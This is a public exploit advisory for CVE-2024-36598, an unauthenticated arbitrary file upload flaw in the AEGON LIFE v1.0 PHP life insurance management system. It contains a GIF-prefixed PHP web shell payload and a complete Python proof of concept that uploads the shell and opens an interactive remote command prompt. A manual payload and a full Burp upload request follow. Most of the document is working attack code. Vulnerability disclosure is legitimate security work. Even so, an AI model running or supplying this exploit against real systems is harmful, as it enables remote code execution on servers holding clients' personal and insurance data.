AEGON LIFE 1.0 Remote Code Execution

`# Exploit Title: Life Insurance Management System- Unauthenticated Remote Code Execution (RCE)  
# Exploit Author: Aslam Anwar Mahimkar  
# Date: 18-05-2024  
# Category: Web application  
# Vendor Homepage: https://projectworlds.in/  
# Software Link: https://projectworlds.in/life-insurance-management-system-in-php/  
# Version: AEGON LIFE v1.0  
# Tested on: Linux  
# CVE: CVE-2024-36598  
  
# Description:  
----------------  
  
-An arbitrary file upload vulnerability in Aegon Life v1.0 allows attackers to execute arbitrary code via uploading a crafted PHP file by adding image/gif magic bytes in payload.  
  
-In insertClient.php fileToUpload is only checking for image file but not checking for extensions, also header.php is not properly handling the redirection hence allowing Unauthenticated redirect.  
  
  
# Payload:  
------------------  
  
payload = "GIF89a;'<?php echo shell_exec($_GET[\'cmd\']); ?>'"  
  
  
# RCE via executing exploit:  
---------------------------------------  
  
# Step : run the exploit in python with this command: python3 shell.py http://localhost/lims/  
# will lead to RCE shell.  
  
POC  
-------------------  
  
import argparse  
import random  
import requests  
import string  
import sys  
  
parser = argparse.ArgumentParser()  
parser.add_argument('url', action='store', help='The URL of the target.')  
args = parser.parse_args()  
  
url = args.url.rstrip('/')  
random_file = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(10))  
  
payload = "GIF89a;'<?php echo shell_exec($_GET[\'cmd\']); ?>'"  
  
file = {'fileToUpload': (random_file + '.php', payload, 'text/php')}  
print('> Attempting to upload PHP web shell...')  
r = requests.post(url + '/insertClient.php', files=file, data={'agent_id':''}, verify=False)  
print('> Verifying shell upload...')  
r = requests.get(url + '/uploads/' + random_file + '.php', params={'cmd':'echo ' + random_file}, verify=False)  
  
if random_file in r.text:  
print('> Web shell uploaded to ' + url + '/uploads/' + random_file + '.php')  
print('> Example command usage: ' + url + '/uploads/' + random_file + '.php?cmd=whoami')  
launch_shell = str(input('> Do you wish to launch a shell here? (y/n): '))  
if launch_shell.lower() == 'y':  
while True:  
cmd = str(input('RCE $ '))  
if cmd == 'exit':  
sys.exit(0)  
r = requests.get(url + '/uploads/' + random_file + '.php', params={'cmd':cmd}, verify=False)  
print(r.text)  
else:  
if r.status_code == 200:  
print('> Web shell uploaded to ' + url + '/uploads/' + random_file + '.php, however a simple command check failed to execute. Perhaps shell_exec is disabled? Try changing the payload.')  
else:  
print('> Web shell failed to upload! The web server may not have write permissions.')  
  
---------------------------------------------------------------------------------------------------------------------------  
  
### Can also performed manually.  
  
  
Payload:  
--------------  
  
GIF89a;  
<?php  
echo"<pre>";  
passthru($_GET['cmd']);  
echo"<pre>";  
?>  
  
# Attack Vectors:  
-------------------------  
  
After uploading malicious image can access it to get the shell  
  
http://localhost/lims/uploads/shell2.gif.php?cmd=id  
  
  
Burp Suit Request  
-----------------------------  
  
POST /lims/insertClient.php HTTP/1.1  
Host: localhost  
Content-Length: 2197  
Cache-Control: max-age=0  
sec-ch-ua:   
sec-ch-ua-mobile: ?0  
sec-ch-ua-platform: ""  
Upgrade-Insecure-Requests: 1  
Origin: http://localhost  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5plGALZGPOOdBlF0  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: navigate  
Sec-Fetch-User: ?1  
Sec-Fetch-Dest: document  
Referer: http://localhost/lims/addClient.php  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Connection: close  
  
------WebKitFormBoundary5plGALZGPOOdBlF0  
Content-Disposition: form-data; name="client_id"  
  
1716015032  
  
------WebKitFormBoundary5plGALZGPOOdBlF0  
Content-Disposition: form-data; name="client_password"  
  
Password  
  
------WebKitFormBoundary5plGALZGPOOdBlF0  
Content-Disposition: form-data; name="name"  
  
Test  
  
------WebKitFormBoundary5plGALZGPOOdBlF0  
Content-Disposition: form-data; name="fileToUpload"; filename="shell2.gif.php"  
Content-Type: application/x-php  
  
GIF89a;  
<?php  
echo"<pre>";  
passthru($_GET['cmd']);  
echo"<pre>";  
?>  
  
------WebKitFormBoundary5plGALZGPOOdBlF0  
Content-Disposition: form-data; name="sex"  
  
Male  
  
------WebKitFormBoundary5plGALZGPOOdBlF0  
Content-Disposition: form-data; name="birth_date"  
  
1/1/1988  
  
------WebKitFormBoundary5plGALZGPOOdBlF0  
Content-Disposition: form-data; name="maritial_status"  
  
M  
  
------WebKitFormBoundary5plGALZGPOOdBlF0  
Content-Disposition: form-data; name="nid"  
  
1  
  
------WebKitFormBoundary5plGALZGPOOdBlF0  
Content-Disposition: form-data; name="phone"  
  
1  
  
------WebKitFormBoundary5plGALZGPOOdBlF0  
Content-Disposition: form-data; name="address"  
  
1  
  
------WebKitFormBoundary5plGALZGPOOdBlF0  
Content-Disposition: form-data; name="policy_id"  
  
1  
  
------WebKitFormBoundary5plGALZGPOOdBlF0  
Content-Disposition: form-data; name="agent_id"  
  
Agent007  
  
------WebKitFormBoundary5plGALZGPOOdBlF0  
Content-Disposition: form-data; name="nominee_id"  
  
1716015032-275794639  
  
------WebKitFormBoundary5plGALZGPOOdBlF0  
Content-Disposition: form-data; name="nominee_name"  
  
Test1  
  
------WebKitFormBoundary5plGALZGPOOdBlF0  
Content-Disposition: form-data; name="nominee_sex"  
  
1  
  
------WebKitFormBoundary5plGALZGPOOdBlF0  
Content-Disposition: form-data; name="nominee_birth_date"  
  
1  
  
------WebKitFormBoundary5plGALZGPOOdBlF0  
Content-Disposition: form-data; name="nominee_nid"  
  
1  
  
------WebKitFormBoundary5plGALZGPOOdBlF0  
Content-Disposition: form-data; name="nominee_relationship"  
  
1  
  
------WebKitFormBoundary5plGALZGPOOdBlF0  
Content-Disposition: form-data; name="priority"  
  
1  
  
------WebKitFormBoundary5plGALZGPOOdBlF0  
Content-Disposition: form-data; name="nominee_phone"  
  
1  
------WebKitFormBoundary5plGALZGPOOdBlF0  
  
  
`